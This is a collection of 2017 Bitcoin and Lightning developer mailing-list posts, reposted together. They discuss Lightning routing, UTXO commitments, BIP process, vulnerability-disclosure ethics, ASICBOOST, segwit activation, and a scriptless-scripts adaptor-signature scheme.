doesn't know the identity of the sender, but the sender learns the
identity of the receiver.
We have plans to achieve proper sender/receiver privacy by extending our
Sphinx usage to leverage HORNET, such that the payment descriptor (payment
request containing details of the payment) also includes several paths
from rendezvous nodes (Rodrigo's) to the receiver. The rendezvous route
itself will be nested as a further Anonymous Header (AHDR) which includes
the information necessary to complete the onion circuit from Rodrigo to
the receiver. As onion routing is used, only Rodrigo can decrypt the
payload and finalize the route. With such a structure, the only nodes that
need to advertise their channels are nodes which seek to actively serve as
channel routers. All other nodes (phones, laptops, etc), don't need to
advertise their channels to the greater network, reducing the size of the
visible network, and also the storage and validation overhead. This serves
to extend the "scale ceiling" a bit.
My first question is: is it possible to adapt the protocol to allow each
intermediate node to communicate their time lock and fee references to the
sender? Currently, as the full path isn't known ahead of time, the sender
is unable to properly craft the timelocks to ensure safety+atomicity of
the payment. This would mean they don't know what the total timelock
should be on the first outgoing link. Additionally, as they don't know the
total path and the fee schedule of each intermediate node, then once
again, they don't know how much to send on the first out going link. It
would seem that one could extend the probing phase to allow backwards
communication by each intermediate node back to the sender, such that they
can properly craft a valid HTLC. This would increase the set up costs of
the protocol however, and may also increase routing failures as it's
possible incompatibilities arise at run-time between the preferences of
intermediate nodes. Additionally, routes may fail as an intermediate node
consumes too many funds as their fee, causing the funds to be insufficient
when it reaches the destination. One countermeasure would maybe: the
sender always sends waaay more than necessary, and gives the receiver a
one-time payment identifier, requiring that they route the remainder of
the funds *back* to them.
To solve this issue presently, we extend the header in Sphinx to include a
per-hop payload which allows the sender to precisely dictate the
structure of the route, allows the intermediate nodes to authenticate the
information given to it, and also allow the intermediate node to verify
that their policies have properly been respected. These payloads can also
be utilized by applications to communicate a small-ish amount of data to
construct higher-level protocols on top of the system. Examples include:
cross-chain swaps, chance payment games, higher-level B2B protocols,
flavors of ZKCP's, media streaming, internet access proxying, etc.
>From my point-of-view, when extended to LN, the core component of the
protocol (landmarks), becomes the weakest component. From my reading,
*all* nodes need to be ware of an *identical* set of landmarks (more or
less similar to the desired homogeneity of Gateways), otherwise the
coordinate embedding scheme breaks down. Currently, there's no requirement
that all nodes have a globally consistent view of the network. So then an
important questions arises: who choose the landmarks? A desirable property
of a routing system for LN (IMO) is that is has close to zero required
initial set up by a central administrator. With this protocol, it would
seem that all nodes much ship with a hard coded set of global landmarks
for the path finding to succeed. This itself pins a hard coordination
requirement amongst implementers to have something like this deployed.
Even ignoring this requirement for a minute, I see several other
downsides:
* As *all* payments must flow through landmarks (since nodes break up
their payment into L sub-flows), the landmarks must be very, very
well capitalized. This would cause strong consolidation of the
selection of landmarks, as they need extremely large channels in
order to facilitate transfer within the network.
* As landmarks must be globally known, this it seems this would
introduce fragility in the network. If most of the landmarks go down
(fails stop crashes) due to hardware issues, DoS, exploited bugs,
etc, then the network's throughput instantly becomes crippled.
* If all payment flow *must* go through landmarks, and the transfers
within the network are relatively uni-directional (all payment going
to Candy Crush Ultra: Lighting Strikes Twice), then their
channels would become unbalanced very quickly.
The last point there invokes another component of the network: passive
channel rebalancing. With source routing, it's possible for nodes to
passive rebalance their channels, in order to keep the in equilibrium,
such that on average they'll be able to handle a payment flow coming from
any direction. This is possible as with source routing, it's easy for a
node to simply send a payment to himself incoming/outgoing from the pair
of channels they wish to adjust the available flow of. With
distance-vector-like protocols, this doesn't seem possible, as the node
doesn't have any control of the incoming channel that the payment will
arrive on.
Finally, the notion of value privacy within the scheme seems a bit weak.
>From this definition, any protocol that didn't broadcast intents to send
payments to the world would achieve this trait. The base Bitcoin
blockchain doesn't mask the values of transfers (yet), but even if it did
unconditionally maintaining value privacy of channel doesn't seem
compatible with multi-hop payment networks (nodes can simply perform
probing/tagging attacks to ascertain a range of the size of a channel). A
possible mitigation would be for nodes to probabilistically drop incoming
payments, with all nodes sampling from the same distribution. However,
this would dramatically increase routing failures by senders, removing the
"low-latency" trait of payment networks that many find desirable.
Personally, I've very excited to see additional research on the front of
routing within the network! Excellent work by all authors.
In the end, I don't think it'll be a one-size fits all solution, as each
routing protocol delivers with it a set of tradeoffs that should be
weighed depending on target characteristics, and use-cases. There's no
strong requirement that the network as a whole uses a *single* routing
protocol. Instead several distinct protocols can be deployed based on
use-case requirements, as we only need to share a single end-to-end
construct: the HTLC. I could see a future in a few years where we have
several deployed protocols, similar to the wide array of existing routing
protocols deployed on the Internet. What we have currently gets us from
Zero to One. We'll definitely need to experiment with additional
approaches as the size of the network grows, and the true economic flow
patterns emerge after we all deploy to mainnet.
-- Laolu
_______________________________________________
Lightning-dev mailing list
Lightning-dev at lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/lightning-dev
--
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20171125/19c39055/attachment.html>

2023-06-07 18:07:48

- reply

📅 Original date posted:2017-11-16
📝 Original message:It's not clear to me if you are have looked at the previous UTXO set
commitment proposals.
some utxo set commitment bookmarks (a little old)
http://diyhpl.us/~bryan/irc/bitcoin/utxo-commitments-or-fraud-proofs.stdout.txt
TXO bitfields
http://diyhpl.us/wiki/transcripts/sf-bitcoin-meetup/2017-07-08-bram-cohen-merkle-sets/
delayed TXO commitments
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2016-May/012715.html
TXO commitments do not need a soft-fork to be useful
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2017-February/013591.html
rolling UTXO set hashes
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2017-May/014337.html
lotta other resources available, including source code proposals..
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20171116/a4eb94c8/attachment.html>

2023-06-07 18:06:30

- reply

📅 Original date posted:2017-09-27
📝 Original message:On Wed, Sep 27, 2017 at 1:56 PM, Luke Dashjr via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> What do people think about modifying BIP 2 to allow editors to merge these
> kinds of changes without involving the Authors? Strictly speaking, BIP 2
> shouldn't be changed now that it is Active, but for such a minor revision,
> I
> think an exception is reasonable.
>
Even minor revisions can not change the meaning of text. Changing a single
word can often have a strange impact on the meaning of the text. There
should be some amount of care exercised here. Maybe it would be okay as
long as edits are mentioned in the changelog at the bottom of each
document, or mention that the primary authors have not reviewed suggested
changes, or something as much; otherwise the reader might not be aware to
check revision history to see what's going on.
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20170927/f7331b71/attachment.html>

2023-06-07 18:05:56

- reply

📅 Original date posted:2017-09-12
📝 Original message:On Mon, Sep 11, 2017 at 10:37 PM, Anthony Towns via bitcoin-dev
<bitcoin-dev at lists.linuxfoundation.org> wrote:
> All of those things seem like they'd help not just altcoins but bitcoin
> investors/traders too, so it's not even a trade-off between classes of
> bitcoin core users. And if in the end various altcoins aren't able to
> keep up with security fixes, that's probably valuable information to
> provide to the market...
I have a reply to your point, but I want to clarify first that I am
not trying to provide any sort of criticism of your character, and to
any extent that my text is misinterpreted that way, that's entirely my
fault here. Anyway, here goes.
It's not enough to defend bitcoin and its users from active threats,
there is a more general responsibility to defend all kinds of users
and different software from many kinds of threats in whatever forms,
even if folks are using stupid and insecure software that you
personally don't maintain or contribute to or advocate for. Handling
knowledge of a vulnerability is a delicate matter and you might be
receiving knowledge with more serious direct or indirect impact than
originally described.
Besides the moral and ethical reasons to not unduly accelerate the
exploitation of a vulnerability, there is also a reputational
standpoint to consider, in that your position that your own (security)
work is credible is actually harmed by showing negative care for other
works by being first to publish either insecure software or knowledge
of a vulnerability. And sometimes the opposite is true: by not
disclosing knowledge of how a design is broken to someone inviting its
review, you're showing negative care in that way too, such as by
unintentionally encouraging the implementation of really bad ideas or
entirely novel misunderstandings of what you once thought were clear
concepts. So there is a difficult path to walk and especially in
security not all may be as it seems; caution is highly recommended.
Yes it would be good for "the market" to "get the signal" that
altcoins are insecure, and that some altcoin vendors are literally and
actively malicious entities, but I think everyone needs to take a step
back here and very carefully consider the color of their hats,
including those who advocate in the name of insecure downstream/forked
software.
The downside of the approach I've advocated for is that it requires
knowledge, thinking and outsmarting the red teams; I am certainly
aware of the allure of the approaches that involve absolutist
statements like "anything weak [including bitcoin if it does have
weaknesses] deserves to die and be actively exploited" but it's not
something I am interested in espousing...nor do I think it would be
healthy for this community to internalize that perspective. Instead we
should continue to work on highly defensible software, and keep
vigilant in regards to security. In "the [civilized] garden" I would
expect there to be a general understanding that people collaborate and
work together to build highly defensible evolving systems even if
there exists knowledge of vulnerabilities. But we shouldn't be
surprised when we don't go out of our way to contribute to
alternative/parasitic systems... and we shouldn't be encouraging each
other to actively bring about the eschaton by way of mishandling
knowledge of vulnerabilities...
I know these issues are difficult to get a handle on. Hopefully I've
provided some useful perspective.
- Bryan
http://heybryan.org/
1 512 203 0507

2023-06-07 18:05:35

- reply

📅 Original date posted:2017-09-11
📝 Original message:On Mon, Sep 11, 2017 at 9:03 PM, Mark Friedenbach via bitcoin-dev
<bitcoin-dev at lists.linuxfoundation.org> wrote:
> I believe you meant "unclean stack," and you are correct. This was
> also pointed out last tuesday by a participant at the in-person
> CoreDev meetup where the idea was presented.
http://diyhpl.us/wiki/transcripts/bitcoin-core-dev-tech/2017-09-07-merkleized-abstract-syntax-trees/
> > For code complexity, the minimal BIP114 could be really simple, like
> > <30 lines of code? It looks complex now because it does much more
> > than simply hiding scripts in a hash.
>
> Is there a repo that contains the latest implementation of BIP 114,
> for comparison purposes?
original bip114:
https://github.com/bitcoin/bips/blob/775f26c02696e772dac4060aa092d35dedbc647c/bip-0114.mediawiki
revised bip114: https://github.com/jl2012/bips/blob/vault/bip-0114.mediawiki
https://github.com/jl2012/bitcoin/commits/vault
from https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2017-September/014963.html
- Bryan
http://heybryan.org/
1 512 203 0507

2023-06-07 18:04:51

- reply

📅 Original date posted:2017-08-20
📝 Original message:On Fri, Aug 18, 2017 at 5:11 PM, Andrew Chow via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
>
> I would like to propose a standard format for unsigned and partially
> signed transactions.
>
Just a quick note but perhaps you and other readers would find this thread
(on hardware wallet BIP drafting) to be tangentially related and useful:
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2016-August/013008.html
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20170820/693ea647/attachment.html>

2023-06-07 18:04:49

- reply

📅 Original date posted:2017-08-17
📝 Original message:---------- Forwarded message ----------
From: Christian Decker <decker.christian at gmail.com>
Date: Thu, Aug 17, 2017 at 5:39 AM
Subject: Re: [Lightning-dev] Lightning in the setting of blockchain
hardforks
To: Martin Schwarz <martin.schwarz at gmail.com>,
lightning-dev at lists.linuxfoundation.org
Hi Martin,
this is the perfect venue to discuss this, welcome to the mailing list :-)
Like you I think that using the first forked block as the forkchain's
genesis block is the way to go, keeping the non-forked blockchain on the
original genesis hash, to avoid disruption. It may become more difficult in
the case one chain doesn't declare itself to be the forked chain.
Even more interesting are channels that are open during the fork. In these
cases we open a single channel, and will have to settle two. If no replay
protection was implemented on the fork, then we can use the last commitment
to close the channel (updates should be avoided since they now double any
intended effect), if replay protection was implemented then commitments
become invalid on the fork, and people will lose money.
Fun times ahead :-)
Cheers,
Christian
On Thu, Aug 17, 2017 at 10:53 AM Martin Schwarz <martin.schwarz at gmail.com>
wrote:
> Dear all,
>
> currently the chain_id allows to distinguish blockchains by the hash of
> their genesis block.
>
> With hardforks branching off of the Bitcoin blockchain, how can Lightning
> work on (or across)
> distinct, permanent forks of a parent blockchain that share the same
> genesis block?
>
> I suppose changing the definition of chain_id to the hash of the first
> block of the new
> branch and requiring replay and wipe-out protection should be sufficient.
> But can we
> relax these requirements? Are slow block times an issue? Can we use
> Lightning to transact
> on "almost frozen" block chains suffering from a sudden loss of hashpower?
>
> Has there been any previous discussion or study of Lightning in the
> setting of hardforks?
> (Is this the right place to discuss this? If not, where would be the right
> place?)
>
> thanks,
> Martin
> _______________________________________________
> Lightning-dev mailing list
> Lightning-dev at lists.linuxfoundation.org
> https://lists.linuxfoundation.org/mailman/listinfo/lightning-dev
>
_______________________________________________
Lightning-dev mailing list
Lightning-dev at lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/lightning-dev
--
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20170817/5c6ec3aa/attachment-0001.html>

2023-06-07 18:04:43

- reply

📅 Original date posted:2017-07-27
📝 Original message:---------- Forwarded message ----------
From: Bram Cohen <bram at bittorrent.com>
Date: Thu, Jul 27, 2017 at 1:21 PM
Subject: Re: [Mimblewimble] Switch to Blake2
To: Ignotus Peverell <igno.peverell at protonmail.com>
Cc: Bryan Bishop <kanzure at gmail.com>
I have quite a few thoughts about proofs of position. I gave a talk about
it which hopefully gets the points across if you go through all the Q&A:
https://www.youtube.com/watch?v=52FVkHlCh7Y
On Mon, Jul 24, 2017 at 12:12 PM, Ignotus Peverell <
igno.peverell at protonmail.com> wrote:
> Interesting, thanks for the link. Seems we arrived at similar conclusions
> regarding the hash function, with similar frustrations with respect to
> blake2b/2s.
>
> Funny that it's also for the same merkle set application. We ended up with
> a Merkle Mountain Range [1] instead of a Patricia tree. The MMR is
> append-only and makes pruning easy, which works well for MimbleWimble. You
> can navigate down the MMR with just the position the element was inserted
> at, so we just keep a simple index for that. Memory layout is great as a
> lot of it is immutable and sit close together, although the current impl
> doesn't leverage that too well yet. Wonder if Bram looked at MMRs? Patricia
> trees may make more sense for Bitcoin though.
>
> Proof of positions are cool, might look at that some more in the near
> future, when we're less busy implementing everything else ;-)
>
>
> - Igno
>
> [1] https://github.com/ignopeverell/grin/blob/master/doc/merkle.md
>
> -------- Original Message --------
> Subject: Re: [Mimblewimble] Switch to Blake2
> Local Time: July 24, 2017 6:44 PM
> UTC Time: July 24, 2017 6:44 PM
> From: kanzure at gmail.com
> To: Ignotus Peverell <igno.peverell at protonmail.com>, Bram Cohen <
> bram at bittorrent.com>, Bryan Bishop <kanzure at gmail.com>
>
> On Fri, Jul 21, 2017 at 1:12 PM, Ignotus Peverell <
> igno.peverell at protonmail.com> wrote:
>
>> So I'm considering a switch to the Blake2 [3] hash function.
>>
>
> Bram recently made some comments about blake a few weeks ago:
> http://diyhpl.us/wiki/transcripts/sf-bitcoin-meetup/2017-07-
> 08-bram-cohen-merkle-sets/
>
> - Bryan
> http://heybryan.org/
> 1 512 203 0507 <(512)%20203-0507>
>
>
>
--
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20170727/46a00235/attachment.html>

2023-06-07 18:04:38

- reply

📅 Original date posted:2017-07-12
📝 Original message:---------- Forwarded message ----------
From: Rusty Russell <rusty at blockstream.com>
Date: Wed, Jul 12, 2017 at 6:27 PM
Subject: [Lightning-dev] Lightning Developers Biweekly Meeting Announce
To: lightning-dev at lists.linuxfoundation.org
Hi all!
Every two weeks we've been running an informal Google Hangout
for implementers of the Lightning spec; as the spec is starting to
freeze, we've decided to formalize it a bit which means opening access
to a wider audience.
The call is at 20:00 UTC every two weeks on Monday: next call is
on the 24th July. We'll be using #lightning-dev on freenode's IRC
servers to communicate as well: if you're working on the Lightning
protocol and want to attend, please send me a ping and I'll add you to
the invite.
I'll produce an agenda (basically a list of outstanding PRs on
github) and minutes each week: I'll post the latter to the ML here.
The last one can be found:
https://docs.google.com/document/d/1EbMxe_QZhpHo67eeiYHbJ-BvNKU1WhFd5WhJFeD9-DI/edit?usp=sharing
The routine with the spec itself is that from now on all
non-spelling/typo changes will require a vote with no objections from
call participants, or any devs unable to make it can veto or defer by
emailing me in writing before the meeting.
Cheers!
Rusty.
_______________________________________________
Lightning-dev mailing list
Lightning-dev at lists.linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/lightning-dev
--
- Bryan
http://heybryan.org/
1 512 203 0507

2023-06-07 18:04:22

- reply

📅 Original date posted:2017-07-11
📝 Original message:On Tue, Jul 11, 2017 at 8:40 PM, Paul Sztorc via bitcoin-dev
<bitcoin-dev at lists.linuxfoundation.org> wrote:
> it, etc. But I am not willing to press the issue. Some of your other
> comments I also find confusing but there is little to be gained in
> clarifying them. )
To me it looked as if I was reading an email that was making a bunch
of points about how bitcoin development can't be coordinated and how
things would be broken if it were to be coordinated ("high authority
edicts"). There was a lot of harm caused by calling that 2015 email a
roadmap. Somehow-- and there's no way to figure out how this happened
I guess- people started putting timeline commitments to different
features. But there's really no way to guarantee any of those
timelines. And I think it's very quick to reach the point of unethical
to advocate a perspective that there's guarantee to things will happen
according to that timeline in the standard bitcoin development model.
I think there's already such a huge amount of public misunderstanding
around how bitcoin development works that giving guarantees even as a
community would further increase the misunderstandings.
> Generally, I still think that the roadmap was a helpful communication
> device, which did more good than harm. And I am interested in hearing
> what other people think.
I think generally communicating about research directions and projects
is useful and valuable, and I don't see any disagreement about that in
itself from anyone in this thread. I recommend an abundance of caution
with regards to whether to call these efforts roadmaps.
>> Come now, this is needlessly insulting. I would have made the same
>> comment if you had talked to me because you didn't talk to most/all of
>> Matt Corallo, Wladimir, Pieter Wuille, Alex Morcos, etc.... e.g. the
>> people doing most of the work of actually building the system. Before
>> making that comment I went and checked with people to find out if only
>> I was left out. Talking to Adam (who isn't involved in the project)
>> and Luke-jr (who is but is well known for frustratingly extreme
>> minority positions and also contracts for Blockstream sometimes) isn't
>
> Let me try to explain my point of view. I did speak to several people,
> in addition to the two names that I privately volunteered to you when
> you had done no research (you failed to uncover any additional names),
Well I mean he did look at some of the people putting the most effort
into bitcoin development. Why would he start at the other end of the
list as a rough check..?
> suggested that, other than yourself and a few others, no one is
> qualified even to write a first draft of a summary of present day
Those suggestions were mixed with strong avocado that summaries are
good, coupled with recommendations that these aren't really roadmaps.
As to qualifying from where knowledge is sourced, yeah it seems like
talking with developers is a good idea, it seems everyone agrees with
that in this thread.
> activities. This response is typical of the hostile review environment
> which has existed in Bitcoin for years (I am more than used to it). If
Well, to the extent that criticism is being misinterpreted as hostile,
I have seen people get upset from basic security review because "why
were't we more friendly and just say OK instead of pointing out the
problems".
- Bryan
http://heybryan.org/
1 512 203 0507

2023-06-07 18:04:20

- reply

📅 Original date posted:2017-07-11
📝 Original message:I can't help but notice that I have read Greg's email before-- all the
way back in 2016. It would have been impossible for him to write a
reply to Paul's current email back then... but I also notice that Greg
did not indicate that he was copy-pasting until the very end (and even
then his aside at the end was sort of not the most clear it could have
been I think).
On Tue, Jul 11, 2017 at 5:17 PM, Paul Sztorc via bitcoin-dev
<bitcoin-dev at lists.linuxfoundation.org> wrote:
> On 7/11/2017 5:11 PM, Gregory Maxwell wrote:
>> [ Note 1: I think it is important to disclose that several of the
>> items in this list appear to be more or less quoted out of my own
>> blockstream-internal descriptions of things we've been working on in
>> Bitcoin.
>> A while back Adam Back asked me to publish something which contained
>> significant chunks of this document more or less verbatim,
[ snip ]
> I am not exactly sure what you are insinuating but I encourage you to
> clarify it.
I believe that's an artifact of a 2016 email. And the rest of it, for
that matter. See below.
>> and I
>> declined saying that I personally disagree with some of his points and
>> didn't think that Blockstream attempting to redirect the Bitcoin
>> project (esp towards drivechains) was appropriate-- along with my
>> (above) views on roadmaps (which I have included here a private email
>> thread on the subject). I feel it's important to disclose this, and
>> that the document was not otherwise created with the input of project
>> contributors (except Luke-Jr, apparently). I wasn't previously aware
>> that Adam had been working with Paul on this, had I been I would have
>> also encouraged people to be a little more transparent about it. ]
> I really don't understand what you are disclosing. That Adam asked you
> for feedback on the draft? And then, in the next sentence, that not
> enough experts were asked for feedback on the draft? I'm legitimately
> confused by this part.
>
> As I stated, we can remove the drivechain section. But surely you can
> appreciate how bizarre your position on roadmaps is. What exactly, did
> you intended to create at [1]? Since it is described explicitly as "the
> roadmap in Capacity increases for the Bitcoin system", have you been
> disagreeing with it's characterization as a 'roadmap' this entire time?
> One wonders why you haven't said anything until now.
>
> [1] https://bitcoincore.org/en/2015/12/21/capacity-increase/
The vast majority of Greg's email, including all the positiontext on
roadmaps was mostly text sent on 2016-11-04 to Adam Back, myself,
Wladimir, and others. Some of the other parts aren't, like the part
mentioning Blockstream.
Here is a commitment to a list of the recipients (for whatever good
such a commitment might do):
b1e575e15d86a5a5931ea0bc519701df4cc152f020f03cd7912074ce5c36260a
- Bryan
http://heybryan.org/
1 512 203 0507

2023-06-07 18:00:50

- reply

📅 Original date posted:2017-05-05
📝 Original message:On Fri, May 5, 2017 at 6:24 AM, Tomas via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> I propose a method to mark blocks to indicate that they were generated
> without verifying the previous block. This can be done by using a bit of
> the version field.
>
see also:
https://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-December/011853.html
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20170505/fbd6515d/attachment.html>

2023-06-07 17:59:24

- reply

📅 Original date posted:2017-04-06
📝 Original message:On Thu, Apr 6, 2017 at 7:02 AM, Luv Khemani via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> Could you elaborate on why you consider ASICBOOST to be an attack? Attack
> here implies ill-intent by the practitioner towards the network as a
> primary motivating factor.
>
>
See
https://www.reddit.com/r/Bitcoin/comments/63otrp/gregory_maxwell_major_asic_manufacturer_is/dfwcki3/
"""
I think that it is an attack is a completely unambiguous technical
description of what it is. If a signature is supposed to resist forgery
against 2^128 operations, but you find a way to do it with 2^80 instead,
this is an attack. It is, perhaps, not a very concerning attack and you may
or may not change your signature scheme to avoid it or may just instead say
the scheme has 2^80 security. But there is no doubt that it would be called
an attack, especially if it was not described in the original proposal.
In Bitcoin's Proof of Work, you are attempting to prove a certain amount of
work has been done. This shortcut significantly reduces the amount of work.
It's an attack. Normally it wouldn't be a serious attack-- it would just
get appended to the defacto definition of what the Bitcoin Proof of work
is-- similar to the signature system just getting restarted as having 2^80
security-- but in it's covert form it cannot just be adopted because it
blocks many further improvements (not just segwit, but the vast majority of
other proposals), and additional the licensing restrictions inhibit
adoption.
The proposal I posted does not prevent the technique, only the covert form:
That is, it doesn't even attempt to solve the patented tech eventually will
centralize the system problem. It is narrowly targeted at the interference
with upgrades.
Taking a step back-- even ignoring my geeking out about the technical
definition of 'attack' in crypographic contexts, we have a set of issues
here that left addressed will seriously harm the system going forward for
the the significant monetary benefit of an exploiting party. I think that
also satisfies a lay definition of the term: Something someone does, that
none one expected, that makes them money at everyone elses expense.
"""
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20170406/7032bdb1/attachment.html>

2023-06-07 17:57:53

- reply

📅 Original date posted:2017-03-26
📝 Original message:On Sun, Mar 26, 2017 at 3:37 PM, Trevin Hofmann <trevinhofmann at gmail.com>
wrote:
> He stated that "any invalid blocks they produce" will be orphaned. This is
> not false. If non-upgraded miners do not produce blocks that are invalid
> per the new rules, their blocks will not be orphaned. This is consistent
> with Peter's comment.
It's the other part of the statement- the "wakeup call to upgrade" from
producing invalid blocks? They aren't producing invalid blocks.
Additionally, if they want to be even more sure about this, they can run
the so-called "border nodes". No wakeup calls needed.... the point of a
soft-fork is to reduce incompatibility.
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20170326/4dc87e3a/attachment.html>

2023-06-07 17:57:51

- reply

📅 Original date posted:2017-03-26
📝 Original message:On Sun, Mar 26, 2017 at 2:05 PM, Peter R via bitcoin-dev <
bitcoin-dev at lists.linuxfoundation.org> wrote:
> With a tightening of the rule set, a hash power minority that has not
> upgraded will not produce a minority branch; instead they will simply have
> any invalid blocks they produce orphaned, serving as a wake-up call to
> upgrade.
>
False. With bip9-based soft-fork-based activation of segwit, miner blocks
will not be orphaned unless they are intentionally segwit-invalid (which
they currently are not). If you have told miners otherwise, let me know.
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20170326/a3add68d/attachment.html>

2023-06-07 17:57:38

- reply

📅 Original date posted:2017-03-20
📝 Original message:---------- Forwarded message ----------
From: Andrew Poelstra <apoelstra at wpsoftware.net>
Date: Mon, Mar 20, 2017 at 5:11 PM
Subject: [Mimblewimble] Lightning in Scriptless Scripts
To: mimblewimble at lists.launchpad.net
In my last post about scriptless scripts [2] I described a way to do
deniable atomic swaps by pre-sharing a difference of signatures. This
had the limitation that it required at least one party to be shared
between the signatures, allowed only pairwise linking, and required
both signatures to cover data that is known at the time of setup.
Linking a multi-hop Lightning channel with these constraints has proved
difficult.
* * *
Recently I've found a different construction that behaves much more like
a hash preimage challenge, and this can actually be used for Lightning.
Further, it supports reblinding, so you can learn a preimage but hide
which one you're looking for. (Ethan, one might actually overlap with
TumbleBit, sorry :)).
It works like this. We'll treat x -> xG as a hash function, so x is the
preimage of xG. There are two separate but related things I can do: (a)
construct a signature which reveals the preimage; or (b) create a
"pre-signature" which can be turned into a signature with the help of
the preimage.
Here's how it works: suppose I send xG to Rusty and he wants to send
me coins conditional on my sending him x. Lets say I have key P1 and
nonce R1; he has key P2 and nonce R2. Together we're going to make a
multisignature with key P1 + P2 and Rusty is going to set things up
so that I can't complete the signature without telling him x.
Here we go.
0. We agree somehow on R1, R2, P1, P2.
1. We can both compute a challenge e = H(P1 + P2 || R1 + R2 || tx).
2. I send s' = k1 - x - x1e, where R1 = k1G and P1 = x1G. Note he
can verify I did so with the equation s'G = R1 - xG - eP1.
3. He now sends me s2 = k2 - x2e, which is his half of the multisig.
4. I complete the sig by adding s1 = k1 - x1e. The final sig is
(s1 + s2, R1 + R2).
Now as soon as this signature gets out, I can compute x = s1 - s'.
* * *
Ok, pretty nifty. But now suppose Rusty wants to receive coins conditioned
on him revealing x, say, because he's a middle hop in a Lightning channel.
You might think he could act the same as I did in step (2), computing
s' = k1 - x - x1e, but actually he can't, because he doesn't know x himself!
All good. Instead he does the following.
To put names on things, let's say he's taking coins from Tadge. The
protocol is almost the same as above.
0. They agree somehow on R1, R2, P1, P2. Tadge's key and nonce are
R1 and P1, but there's a catch: P1 = x1G as before, but now
R1 - xG = k1G. That is, his nonce is offset by k1G.
1. They can both compute a challenge e = H(P1 + P2 || R1 + R2 || tx).
2. Tadge sends the "presignature" s' = k1 - x1e. Rusty can verify this
with the equation s'G = R1 - xG - eP1.
3. Now whenever Rusty obtains x, he can compute s1 = s' - x, which is
Tadge's half of the final signature.
4. Rusty computes s2 himself and completes the signature.
* * *
Ok, even cooler. But the real Rusty complained about these stories, saying
that it's a privacy leak for him to use the same xG with me as he used with
Tadge. In a onion-routed Lightning channel, this xG-reuse would let all
any two participants in a path figure out that they were in one path, if
they were colluding, even if they weren't directly connected.
No worries, we can fix this very simply. Rusty chooses a reblinding factor
rG. I give him x, as before, but what Tadge demands from him is (x + r).
(I give xG to Rusty as a challenge; he forwards this as xG + rG to Tadge.)
Since Rusty knows r he's able to do the translation. The two challenges
appear uniformly independently random to any observers.
* * *
Let's put this together into my understanding of how Lightning is supposed
to work. Suppose Andrew is trying to send coins to Drew, through Bob and
Carol. He constructs a path
A --> B --> C --> D
where each arrow is a Lightning channel. Only Andrew knows the complete
path, and is onion-encrypting his connections to each participant (who
know the next and previous participants, but that's it).
He obtains a challenge T = xG from D, and reblinding factors U and V
from B and C. Using the above tricks,
1. A sends coins to B contingent on him learning the discrete logarithm
of T + U + V.
2. B sends coins to C contingent on him learning the discrete logarithm
of T + V. (He knows the discrete log of U, so this is sufficient for
him to meet Andrew's challenge.)
3. C sends to D contingent on him learning the discrete log of T, which
is D's original challenge. Again, because C knows the discrete log
of V, this is sufficient for her to meet B's challenge.
The resulting path consists of transactions which are signed with single
uniformly random independent Schnorr signatures. Even though they're all
part of an atomic Lightning path.
* * *
Note that the s' values need to be re-communicated every time the
transaction
changes (as does the nonce). Because it depends on the other party's nonce,
this might require an additional round of interaction per channel update.
Note also that nothing I've said depends at all on what's being signed. This
means this works just as well for MimbleWimble as it would for
Bitcoin+Schnorr
as it would for Monero (with a multisig ring-CT construction) as it would
for Ethereum+Schnorr. Further, it can link transactions across chains.
I'm very excited about this.
Cheers
Andrew
[1] https://lists.launchpad.net/mimblewimble/msg00036.html
--
Andrew Poelstra
Mathematics Department, Blockstream
Email: apoelstra at wpsoftware.net
Web: https://www.wpsoftware.net/andrew
"A goose alone, I suppose, can know the loneliness of geese
who can never find their peace,
whether north or south or west or east"
--Joanna Newsom
--
Mailing list: https://launchpad.net/~mimblewimble
Post to : mimblewimble at lists.launchpad.net
Unsubscribe : https://launchpad.net/~mimblewimble
More help : https://help.launchpad.net/ListHelp
--
- Bryan
http://heybryan.org/
1 512 203 0507
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.linuxfoundation.org/pipermail/bitcoin-dev/attachments/20170320/4b59a31e/attachment.html>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 464 bytes
Desc: not available
